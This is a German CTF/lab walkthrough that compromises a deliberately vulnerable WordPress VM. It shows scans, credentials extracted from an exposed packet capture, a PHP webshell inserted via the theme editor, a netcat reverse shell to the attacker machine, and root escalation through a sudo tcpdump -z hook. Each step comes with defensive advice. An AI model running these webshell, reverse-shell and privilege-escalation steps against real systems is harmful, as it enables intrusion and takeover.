Analyse: Ein ARP-Scan wird durchgeführt, um aktive Geräte im lokalen Netzwerk zu finden.
Bewertung: Das Zielsystem `192.168.2.122` wird identifiziert. Die MAC-Adresse `08:00:27:cc:54:c9` weist auf eine Oracle VirtualBox VM hin.
Empfehlung (Offensiv): IP-Adresse für weitere Scans verwenden.
ARP-Scan 192.168.2.122 08:00:27:cc:54:c9 PCS Systemtechnik GmbH
Analyse: Die IP `192.168.2.122` wird dem Hostnamen `webdeveloper1.vln` in der `/etc/hosts`-Datei zugeordnet.
Bewertung: Vereinfacht die Ansprache des Ziels.
/etc/hosts 192.168.2.122 webdeveloper1.vln
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) wird auf das Ziel angewendet.
Bewertung: Der Scan findet zwei offene Ports:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-18 21:57 CET Nmap scan report for webdeveloper1.vln (192.168.2.122) Host is up (0.00018s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 d2:ac:73:4c:17:ec:6a:82:79:87:5a:f9:22:d4:12:cb (RSA) | 256 9c:d5:f3:2c:e2:d0:06:cc:8c:15:5a:5a:81:5b:03:3d (ECDSA) |_ 256 ab:67:56:69:27:ea:3e:3b:33:73:32:f8:ff:2e:1f:20 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-generator: WordPress 4.9.8 |_http-title: Example site – Just another WordPress site MAC Address: 08:00:27:CC:54:C9 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.18 ms webdeveloper1.vln (192.168.2.122) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds
Analyse: Ein Nikto-Scan wird gegen Port 80 durchgeführt.
Bewertung: Bestätigt die veraltete Apache-Version und fehlende Sicherheitsheader. Findet Standard-Apache- und WordPress-Dateien (`/icons/README`, `akismet/readme.txt`, `wp-links-opml.php`, `license.txt`). Wichtig: `/wp-content/uploads/` hat Directory Listing aktiviert und der WP-Login (`/wp-login.php`) wird gefunden. Der Hinweis auf Drupal ist eine Falschmeldung von Nikto.
Empfehlung (Offensiv): Das `/wp-content/uploads/`-Verzeichnis auf interessante Dateien untersuchen. Den WP-Login als Ziel für Brute-Force oder Credential-Stuffing verwenden. WPScan für detailliertere WordPress-Enumeration nutzen.
Empfehlung (Defensiv): Directory Listing deaktivieren. WordPress und alle Komponenten aktualisieren. Sicherheitsheader implementieren.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.122 + Target Hostname: 192.168.2.122 + Target Port: 80 + Start Time: 2024-11-18 21:58:27 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: Drupal Link header found with value: ; rel="https://api.w.org/". See: https://www.drupal.org/ <-- False Positive + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.29 appears to be outdated [...]. + /: Web Server returns a valid response with junk HTTP methods [...]. + /: DEBUG HTTP verb may show server debugging information. [...] + /icons/README: Apache default file found. [...] + /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version. + /wp-links-opml.php: This WordPress script reveals the installed version. + /license.txt: License file found may identify site software. + /: A Wordpress installation was found. + /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. [...] + /wp-content/uploads/: Directory indexing found. + /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information. + /wp-login.php: Wordpress login found. + 8102 requests: 0 error(s) and 15 item(s) reported on remote host + End Time: 2024-11-18 21:58:50 (GMT1) (23 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Gobuster wird zur Verzeichnissuche auf Port 80 verwendet.
Bewertung: Findet die typischen WordPress-Pfade (`/wp-content/`, `/wp-login.php`, `/wp-includes/`, `/readme.html`, `/wp-admin/` etc.) sowie `license.txt`. Bestätigt die WordPress-Struktur.
Empfehlung (Offensiv): Mit WPScan fortfahren, um spezifische Schwachstellen, Benutzer, Plugins und Themes zu finden.
=============================================================== Gobuster v3.5 [...] =============================================================== [+] Url: http://192.168.2.122 [...] =============================================================== 2024/11/18 21:59:01 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.122/index.php (Status: 301) [Size: 0] [--> http://192.168.2.122/] http://192.168.2.122/wp-content (Status: 301) [Size: 319] [--> http://192.168.2.122/wp-content/] http://192.168.2.122/wp-login.php (Status: 200) [Size: 2160] http://192.168.2.122/license.txt (Status: 200) [Size: 19935] http://192.168.2.122/wp-includes (Status: 301) [Size: 320] [--> http://192.168.2.122/wp-includes/] http://192.168.2.122/readme.html (Status: 200) [Size: 7415] http://192.168.2.122/wp-trackback.php (Status: 200) [Size: 135] http://192.168.2.122/wp-admin (Status: 301) [Size: 317] [--> http://192.168.2.122/wp-admin/] [...] =============================================================== 2024/11/18 22:00:15 Finished ===============================================
Analyse: Die WordPress REST API (`/wp-json/wp/v2/users/1`) wird mittels `curl` abgefragt und die Ausgabe mit `jq` formatiert.
Bewertung: Die API ist aktiv und gibt Informationen über den Benutzer mit ID 1 preis: Name und Slug sind `webdeveloper`. Dies ist ein valider Benutzername.
Empfehlung (Offensiv): Den Benutzernamen `webdeveloper` für Brute-Force-Angriffe auf den WP-Login und SSH verwenden.
Empfehlung (Defensiv): Die WordPress REST API einschränken oder deaktivieren, wenn sie nicht benötigt wird, um Benutzer-Enumeration zu verhindern.
{
"id": 1,
"name": "webdeveloper",
"url": "",
"description": "",
"link": "/index.php/author/webdeveloper/",
"slug": "webdeveloper",
"avatar_urls": {
"24": "http://1.gravatar.com/avatar/753f1b5f3453a09893edb2c7c32cabbd?s=24&d=mm&r=g",
"48": "http://1.gravatar.com/avatar/753f1b5f3453a09893edb2c7c32cabbd?s=48&d=mm&r=g",
"96": "http://1.gravatar.com/avatar/753f1b5f3453a09893edb2c7c32cabbd?s=96&d=mm&r=g"
},
"meta": [],
"_links": {
"self": [
{
"href": "/index.php/wp-json/wp/v2/users/1"
}
],
"collection": [
{
"href": "/index.php/wp-json/wp/v2/users"
}
]
}
}
Analyse: WPScan wird ausgeführt, um die WordPress-Instanz genauer zu untersuchen (`wpscan --url http://192.168.2.122`).
Bewertung: WPScan bestätigt die Version 4.9.8 (unsicher) und listet viele bekannte Schwachstellen auf (Authenticated File Delete, Post Type Bypass, SSRF, SQLi, etc.). Es identifiziert das Theme "twentyseventeen" (veraltet) und bestätigt den Benutzer `webdeveloper`.
Empfehlung (Offensiv): Die hohe Anzahl an Schwachstellen in WP 4.9.8 bietet viele potenzielle Angriffsvektoren. Einen Exploit für eine dieser Lücken suchen oder einen Passwort-Brute-Force gegen `webdeveloper` starten.
Empfehlung (Defensiv): WordPress *dringend* aktualisieren!
_______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| [...] _______________________________________________________________ [+] URL: http://192.168.2.122/ [192.168.2.122] [...] Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.29 (Ubuntu) [...] [+] XML-RPC seems to be enabled: http://192.168.2.122/xmlrpc.php [...] [+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02). [...] | [!] 63 vulnerabilities identified: | | [!] Title: WordPress <= 5.0 - Authenticated File Delete | Fixed in: 4.9.9 [...] [+] WordPress theme in use: twentyseventeen [...] | Version: 1.7 (80% confidence) [...] [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [...] [i] User(s) Identified: [+] webdeveloper [...] [+] Finished: Mon Nov 18 22:09:27 2024 [...]
Analyse: Ein Metasploit-Modul (`auxiliary/scanner/ssh/ssh_enumusers`) wird verwendet, um gültige SSH-Benutzernamen zu enumerieren.
Bewertung: Das Modul findet mehrere Standard-Systembenutzer (`mail`, `root`, `news` etc.) und bestätigt den bereits bekannten Benutzer `webdeveloper`.
Empfehlung (Offensiv): Bestätigt `webdeveloper` als gültigen SSH-Benutzer.
Empfehlung (Defensiv): SSH-Benutzerenumeration nach Möglichkeit erschweren (Konfiguration, Patches).
Matching Modules ================ [...] 0 auxiliary/scanner/ssh/ssh_enumusers . normal No SSH Username Enumeration [...] msf6 > use 0 msf6 auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 100 THREADS => 100 msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt USER_FILE => /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rport 22 rport => 22 msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.2.122 rhosts => 192.168.2.122 msf6 auxiliary(scanner/ssh/ssh_enumusers) > run [*] 192.168.2.122:22 - SSH - Using malformed packet technique [*] 192.168.2.122:22 - SSH - Checking for false positives [*] 192.168.2.122:22 - SSH - Starting scan [+] 192.168.2.122:22 - SSH - User 'mail' found [+] 192.168.2.122:22 - SSH - User 'root' found [+] 192.168.2.122:22 - SSH - User 'news' found [...] [+] 192.168.2.122:22 - SSH - User 'webdeveloper' found [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Analyse: Ein erneuter `dirb`-Scan (diesmal gegen `/`) findet das Verzeichnis `/ipdata/`.
Bewertung: Dieser Fund wurde im vorherigen Gobuster-Scan nicht angezeigt, was auf unterschiedliche Wortlisten oder Konfigurationen hindeutet. Ein Verzeichnis namens `ipdata` könnte Netzwerk-Captures enthalten.
Empfehlung (Offensiv): Das Verzeichnis `/ipdata/` untersuchen.
----------------- DIRB v2.22 By The Dark Raver ----------------- [...] ---- Scanning URL: http://192.168.2.122/ ---- + http://192.168.2.122/index.php (CODE:301|SIZE:0) + http://192.168.2.122/ipdata/ (CODE:200|SIZE:2904) ==> DIRECTORY [...] ---- Entering directory: http://192.168.2.122/ipdata/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. [...] ----------------- END_TIME: Mon Nov 18 22:34:19 2024 DOWNLOADED: 32284 - FOUND: 12
Analyse: Das Verzeichnis `/ipdata/` wird aufgerufen. Es enthält eine Datei `analyze.cap`.
Bewertung: Eine `.cap`-Datei ist ein Netzwerk-Mitschnitt (Packet Capture), wahrscheinlich im pcap-Format. Diese Dateien können mit Tools wie Wireshark oder `tcpdump` analysiert werden und enthalten oft sensible Informationen, einschließlich Klartext-Credentials.
Empfehlung (Offensiv): Die Datei `analyze.cap` herunterladen und mit Wireshark öffnen. Nach HTTP POST-Requests filtern, insbesondere zu Login-Seiten (`/wp-login.php`).
Empfehlung (Defensiv): Niemals Netzwerk-Mitschnitte mit potenziell sensiblen Daten in web-zugänglichen Verzeichnissen ablegen. Verschlüsselung (HTTPS) verwenden, um Credentials im Netzwerkverkehr zu schützen.
http://192.168.2.122/ipdata/ Index of /ipdata [ICO] Name Last modified Size Description [PARENTDIR] Parent Directory - [ ] analyze.cap 2018-10-30 09:14 2.8M Apache/2.4.29 (Ubuntu) Server at 192.168.2.122 Port 80
Analyse: Die heruntergeladene Datei `analyze.cap` wird mit Wireshark geöffnet. Ein HTTP POST-Request an `/wordpress/wp-login.php` wird untersucht.
Bewertung: Im Body des POST-Requests (HTML Form Data) finden sich die Klartext-Zugangsdaten für den WordPress-Login: `log=webdeveloper` und `pwd=Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd`. Das Passwort ist URL-kodiert.
Empfehlung (Offensiv): Das URL-kodierte Passwort dekodieren, um das Klartext-Passwort zu erhalten.
Empfehlung (Defensiv): Login-Vorgänge immer über HTTPS absichern. Keine PCAP-Dateien mit Credentials exponieren.
---[ HTTP Request ]------------------------------------ POST /wordpress/wp-login.php HTTP/1.1 Host: 192.168.1.176 [...] Cookie: [...]wordpress_test_cookie=WP+Cookie+check;[...] [...] log=webdeveloper&pwd=Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd&wp-submit=Log+In&[...] ---------------------------------------------------------
Analyse: Das URL-kodierte Passwort `Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd` wird dekodiert.
Bewertung: Das dekodierte Passwort für den Benutzer `webdeveloper` lautet `Te5eQg&4sBS!Yr$)wf%(DcAd`.
Empfehlung (Offensiv): Mit diesen Credentials (`webdeveloper`:`Te5eQg&4sBS!Yr$)wf%(DcAd`) versuchen, sich bei WordPress (`/wp-login.php`) anzumelden.
https://www.urldecoder.org/ Input: log=webdeveloper&pwd=Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd&[...] Output: log=webdeveloper&pwd=Te5eQg&4sBS!Yr$)wf%(DcAd&[...] Password: Te5eQg&4sBS!Yr$)wf%(DcAd
Analyse: Mit den gefundenen Credentials (`webdeveloper`:`Te5eQg&...`) wird sich erfolgreich im WordPress-Backend (`/wp-admin/`) angemeldet.
Bewertung: Der Benutzer `webdeveloper` hat administrative Rechte (Zugriff auf das Dashboard, Theme Editor etc.).
Empfehlung (Offensiv): Nach Möglichkeiten zur Codeausführung suchen. Der Theme Editor (`Appearance -> Editor`) ist ein klassischer Weg, um PHP-Code (Webshell, Reverse Shell) in eine Theme-Datei (z.B. `404.php`, `functions.php`) einzufügen.
Empfehlung (Defensiv): Den Datei-Editor im WordPress-Backend deaktivieren (Eintrag `define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Benutzerrechte minimieren. WordPress aktuell halten.
http://192.168.2.122/wp-admin/
Login mit: webdeveloper:Te5eQg&4sBS!Yr$)wf%(DcAd
Analyse: Im WordPress Theme Editor wird die Datei `404.php` des aktiven Themes ("Twenty Sixteen", laut WPScan) bearbeitet. Der PHP-Befehl `system($GET['cmd']);` wird eingefügt.
Bewertung: Dies fügt eine einfache Webshell in die 404-Fehlerseite ein. Jeder Aufruf einer nicht existierenden Seite, die auf diese `404.php` umleitet, führt nun den im `cmd`-Parameter übergebenen Befehl aus.
Empfehlung (Offensiv): Die Webshell testen, indem eine nicht existierende URL aufgerufen und der `cmd`-Parameter angehängt wird (z.B. `http://192.168.2.122/wp-content/themes/twentysixteen/404.php?cmd=id`). Anschließend eine Reverse Shell starten.
Empfehlung (Defensiv): Theme Editor deaktivieren. Dateiintegritätsüberwachung einsetzen, um Änderungen an Theme-Dateien zu erkennen.
WordPress Dashboard -> Appearance -> Editor -> Twenty Sixteen Theme -> 404 Template (404.php) Einfügen: system($GET['cmd']); ?> Speichern der Datei.
Analyse: Die präparierte `404.php` wird mit `curl` und `cmd=ls` aufgerufen, um die Webshell zu testen.
Bewertung: Die Ausgabe zeigt den Inhalt des Theme-Verzeichnisses, was die erfolgreiche Codeausführung als Webserver-Benutzer bestätigt.
404.php archive.php comments.php css footer.php functions.php genericons header.php image.php inc index.php js page.php readme.txt rtl.css screenshot.png search.php searchform.php sidebar-content-bottom.php sidebar.php single.php style.css template-parts
Analyse: Ein Netcat-Listener wird auf Port 9001 gestartet. Über die Webshell (`cmd`-Parameter) wird ein Bash-Reverse-Shell-Payload (URL-kodiert) ausgeführt.
Bewertung: Die Verbindung kommt auf dem Listener an. Der Angreifer erhält eine Shell als `www-data`.
Ergebnis: Erfolgreicher Initial Access als `www-data` durch Ausnutzen der WordPress Theme Editor Schwachstelle.
Empfehlung (Offensiv): Shell stabilisieren, Enumeration für Privilegieneskalation starten.
Empfehlung (Defensiv): Theme Editor deaktivieren. Egress-Filtering. Webserver mit minimalen Rechten betreiben.
listening on [any] 9001 ...
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 44692 bash: cannot set terminal process group (3307): Inappropriate ioctl for device bash: no job control in this shell
Analyse: Als `www-data` werden `id`, Netzwerk-Sockets (`ss -altpn`), SUID-Dateien (`find`), `/etc/passwd` und `/home` überprüft. Der Inhalt von `wp-config.php` wird gelesen.
Bewertung: Die Enumeration bestätigt den `www-data`-Kontext. `ss` zeigt die bekannten Ports und MySQL auf localhost. Die SUID-Suche ist umfangreich (inkl. Snap-Binaries), enthält aber neben `sudo` und `pkexec` keine sofortigen offensichtlichen Schwachstellen. `/etc/passwd` ist nicht schreibbar. `/home` enthält nur das Verzeichnis `webdeveloper`. Der entscheidende Fund ist in `wp-config.php`: die Datenbank-Credentials `webdeveloper`:`MasterfTheUniverse`.
Empfehlung (Offensiv): Das gefundene Passwort `MasterfTheUniverse` für den Benutzer `webdeveloper` bei SSH oder `su` ausprobieren.
Empfehlung (Defensiv): Datenbank-Credentials in `wp-config.php` mit restriktiven Dateiberechtigungen schützen (lesbar nur für den Webserver-Benutzer und root). Wo möglich, Datenbankzugriff über Sockets statt TCP/IP und sicherere Authentifizierungsmethoden verwenden.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:* LISTEN 0 128 *:80 *:*
[...] (Umfangreiche Liste mit Standard-SUID, pkexec, sudo, snap-Binaries)
-rw-r--r-- 1 root root 1635 Oct 30 2018 /etc/passwd
webdeveloper
[...]
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'webdeveloper');
/** MySQL database password */
define('DB_PASSWORD', 'MasterfTheUniverse');
[...]
Analyse: Es wird versucht, sich per SSH als `webdeveloper` mit dem gefundenen Datenbankpasswort `MasterfTheUniverse` anzumelden.
Bewertung: Der Login ist erfolgreich! Dies bedeutet, dass das Datenbankpasswort auch das SSH-Passwort für den Benutzer `webdeveloper` ist (Passwort-Wiederverwendung).
Empfehlung (Offensiv): Die Shell als `webdeveloper` für die Privilegieneskalation nutzen (`sudo -l`).
Empfehlung (Defensiv): Passwörter niemals wiederverwenden! Für jeden Dienst und Benutzer sollten einzigartige, starke Passwörter verwendet werden. Datenbank-Credentials besonders schützen.
webdeveloper@192.168.2.122's password: MasterfTheUniverse
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-38-generic x86_64)
[...]
Last login: Tue Oct 30 09:25:27 2018 from 192.168.1.114
Analyse: Als Benutzer `webdeveloper` wird `sudo -l` ausgeführt.
Bewertung: Nach Eingabe des Passworts (`MasterfTheUniverse`) zeigt die Ausgabe, dass `webdeveloper` den Befehl `/usr/sbin/tcpdump` als `root` ausführen darf. Dies ist ein bekannter Vektor zur Privilegieneskalation, da `tcpdump` über die `-z`-Option Befehle nach der Rotation von Capture-Dateien ausführen kann.
Empfehlung (Offensiv): Die GTFOBins-Methode für `tcpdump` mit `sudo` anwenden, um eine Root-Shell zu erhalten.
Empfehlung (Defensiv): `tcpdump` (oder anderen Netzwerk-Sniffern) niemals uneingeschränkte `sudo`-Rechte geben. Wenn `tcpdump` benötigt wird, die Rechte so weit wie möglich einschränken (z.B. nur bestimmte Interfaces, keine Schreibrechte in beliebige Verzeichnisse).
[sudo] password for webdeveloper: MasterfTheUniverse
Matching Defaults entries for webdeveloper on webdeveloper:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User webdeveloper may run the following commands on webdeveloper:
(root) /usr/sbin/tcpdump
Analyse: Die GTFOBins-Payload für `tcpdump` wird vorbereitet und ausgeführt.
Bewertung:
dropped privs to root tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes Maximum file limit reached: 1 1 packet captured 23 packets received by filter 0 packets dropped by kernel
Analyse: Der `COMMAND` wird durch einen Netcat-Reverse-Shell-Payload ersetzt (`rm /tmp/f;mkfifo /tmp/f;...`). Das `sudo tcpdump`-Konstrukt wird erneut ausgeführt.
Bewertung: Auf dem Netcat-Listener (`nc -lvnp 4444`) geht eine Verbindung ein. Der Bericht erwähnt, dass die Shell "nicht richtig funktioniert" und springt dann zu einer alternativen Methode.
Alternative Methode: Ein Skript (`bash`) wird erstellt, das `/bin/bash` nach `/tmp/sh-1` kopiert und das SUID-Bit setzt. Dieses Skript wird dann mit `sudo tcpdump -z` ausgeführt. Anschließend wird `/tmp/sh-1 -p` gestartet.
Bewertung der Alternative: Das `sudo tcpdump`-Konstrukt führt das `bash`-Skript als Root aus. Dadurch wird eine Kopie der Bash mit SUID-Root-Bit in `/tmp` erstellt. Der Aufruf `/tmp/sh-1 -p` startet diese SUID-Bash und `-p` sorgt dafür, dass die effektive UID (root) beibehalten wird. Der `id`-Befehl bestätigt `euid=0(root)`.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausnutzen der `sudo tcpdump`-Regel und Erstellen einer SUID-Bash wurde eine Root-Shell erlangt.
Empfehlung (Offensiv): Root-Rechte nutzen.
Empfehlung (Defensiv): `sudo`-Regel für `tcpdump` entfernen/einschränken. Sicherstellen, dass `/tmp` mit `nosuid` gemountet ist, um das Ausführen von SUID-Binaries von dort zu verhindern.
dropped privs to root tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes Maximum file limit reached: 1 1 packet captured 45 packets received by filter 0 packets dropped by kernel
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 37708 id ls cd /root ls ls -la
cp /bin/bash /tmp/sh-1 chmod u+s /tmp/sh-1
uid=1000(webdeveloper) gid=1000(webdeveloper) euid=0(root) groups=1000(webdeveloper),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.
Analyse: In der Root-Shell wird die Datei `flag.txt` im `/root`-Verzeichnis gefunden und gelesen.
Bewertung: Die Root-Flag wird erfolgreich extrahiert.
flag.txt
Congratulations here is youre flag:
cba045a5a4f26f1cd8d7be9a5c2b1b34f6c5d290
Schwachstelle: Exponierte Netzwerk-Capture-Datei (`analyze.cap`) mit Klartext-HTTP-Verkehr, einschließlich Login-Credentials, in einem web-zugänglichen Verzeichnis (`/ipdata/`).
Ziel des POC: Nachweis, dass durch Herunterladen und Analysieren der PCAP-Datei WordPress-Administrator-Credentials (`webdeveloper:Te5eQg&...`) im Klartext extrahiert werden können.
Voraussetzungen: Zugriff auf das `/ipdata`-Verzeichnis über HTTP. Ein Tool zur PCAP-Analyse (Wireshark, tcpdump).
Analyse: `dirb` fand das Verzeichnis `/ipdata/`. Beim Aufruf im Browser wurde die Datei `analyze.cap` entdeckt und heruntergeladen.
Analyse: Die Datei `analyze.cap` wurde mit Wireshark geöffnet. Ein Filter nach HTTP POST-Requests zu `/wordpress/wp-login.php` wurde angewendet.
Bewertung: Im Body des relevanten POST-Requests waren die Felder `log` (Username) und `pwd` (Passwort) im Klartext (URL-kodiert) sichtbar.
Analyse: Der Wert des `pwd`-Feldes (`Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd`) wurde URL-dekodiert.
Ergebnis des POC: Die WordPress-Credentials (`webdeveloper`:`Te5eQg&4sBS!Yr$)wf%(DcAd`) wurden erfolgreich aus der PCAP-Datei extrahiert.
Risikobewertung: Kritisch. Ermöglicht die Übernahme des Admin-Kontos der Webanwendung.
Empfehlung (Defensiv): Niemals PCAP-Dateien mit unverschlüsseltem, sensiblem Verkehr in web-zugänglichen Bereichen speichern. Login-Vorgänge immer über HTTPS erzwingen. Sensible Daten in Netzwerk-Mitschnitten vor der Speicherung/Weitergabe entfernen oder anonymisieren.
Schwachstelle: Aktivierter Theme-Editor im WordPress-Backend (`Appearance -> Editor`), der es einem Administrator (`webdeveloper`) erlaubt, PHP-Dateien des Themes zu bearbeiten und somit beliebigen PHP-Code auszuführen.
Ziel des POC: Nachweis, dass durch Einfügen von PHP-Code (Webshell/Reverse Shell) in eine Theme-Datei (z.B. `404.php`) Codeausführung im Kontext des Webserver-Benutzers (`www-data`) erreicht werden kann.
Voraussetzungen: Administrative WordPress-Credentials. Aktivierter Theme-Editor.
Analyse: Mit den aus der PCAP-Datei gewonnenen Credentials wurde sich im WordPress-Backend angemeldet und zum Theme-Editor navigiert.
Analyse: Die Datei `404.php` des aktiven Themes wurde ausgewählt und der PHP-Code ` system($GET['cmd']); ?>` wurde hinzugefügt und gespeichert.
Analyse: Die modifizierte `404.php` wurde über den Browser aufgerufen und Befehle über den `cmd`-Parameter übergeben (z.B. `?cmd=id`). Ein Reverse-Shell-Payload wurde ebenfalls über den `cmd`-Parameter ausgeführt.
Ergebnis des POC: Beliebige Befehle konnten als `www-data` ausgeführt werden, und eine Reverse Shell wurde erfolgreich etabliert.
Risikobewertung: Hoch. Ermöglicht vollständige Codeausführung als Webserver-Benutzer bei Kompromittierung eines Admin-Kontos.
Empfehlung (Defensiv): Den Datei-Editor im WordPress-Backend deaktivieren (`define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Administrative Konten mit starken, einzigartigen Passwörtern und idealerweise 2FA schützen. Dateiintegritätsüberwachung einsetzen.
Schwachstelle: Unsichere `sudoers`-Konfiguration, die dem Benutzer `webdeveloper` erlaubt, `/usr/sbin/tcpdump` als Root auszuführen.
Ziel des POC: Nachweis, dass diese Berechtigung missbraucht werden kann, um beliebigen Code als Root auszuführen, indem die Post-Rotation-Hook-Funktion (`-z` Option) von `tcpdump` genutzt wird.
Voraussetzungen: Zugriff als Benutzer `webdeveloper`. Kenntnis des Passworts für `webdeveloper`. Die fehlerhafte `sudoers`-Regel.
Analyse: Der Befehl `sudo -l` als `webdeveloper` (nach Eingabe des Passworts) zeigt die Regel `(root) /usr/sbin/tcpdump`.
Analyse: Ein Shell-Skript wird erstellt (im Beispiel `/tmp/bash`), das eine SUID-Root-Kopie von `/bin/bash` erstellt. Der Pfad zu diesem Skript wird in der Variable `$TF` gespeichert.
Analyse: `sudo tcpdump` wird mit den Optionen `-W 1` (nur eine Datei schreiben), `-G 1` (nach 1 Sekunde rotieren), `-z $TF` (führt das Skript in `$TF` nach der Rotation aus) und `-Z root` (führt das Skript als Root aus) gestartet.
Bewertung: `tcpdump` startet, schreibt kurz Daten, rotiert die Datei nach einer Sekunde und führt dabei das Skript `$TF` als Root aus. Dieses Skript erstellt `/tmp/sh-1` mit SUID-Root-Rechten.
Analyse: Die erstellte SUID-Datei `/tmp/sh-1` wird mit der Option `-p` ausgeführt.
Ergebnis des POC: Eine Shell wird gestartet, die aufgrund des SUID-Bits und der `-p`-Option Root-Rechte (`euid=0(root)`) besitzt.
Risikobewertung: Kritisch. Erlaubt einem Benutzer mit dieser spezifischen `sudo`-Regel die vollständige Übernahme des Systems.
Empfehlung (Defensiv): `tcpdump` oder anderen Tools mit Dateioperations-Hooks keine uneingeschränkten `sudo`-Rechte geben. Wenn `tcpdump` mit Root-Rechten laufen muss, sicherstellen, dass keine gefährlichen Optionen wie `-z` oder `-w` mit von Benutzern kontrollierbaren Pfaden verwendet werden können. `/tmp` mit `nosuid` mounten.
Analyse: Die User-Flag (`user.txt`) wurde im Home-Verzeichnis gefunden. Die Root-Flag (`flag.txt`) wurde im `/root`-Verzeichnis gefunden.
Bewertung: Beide Flags wurden erfolgreich extrahiert.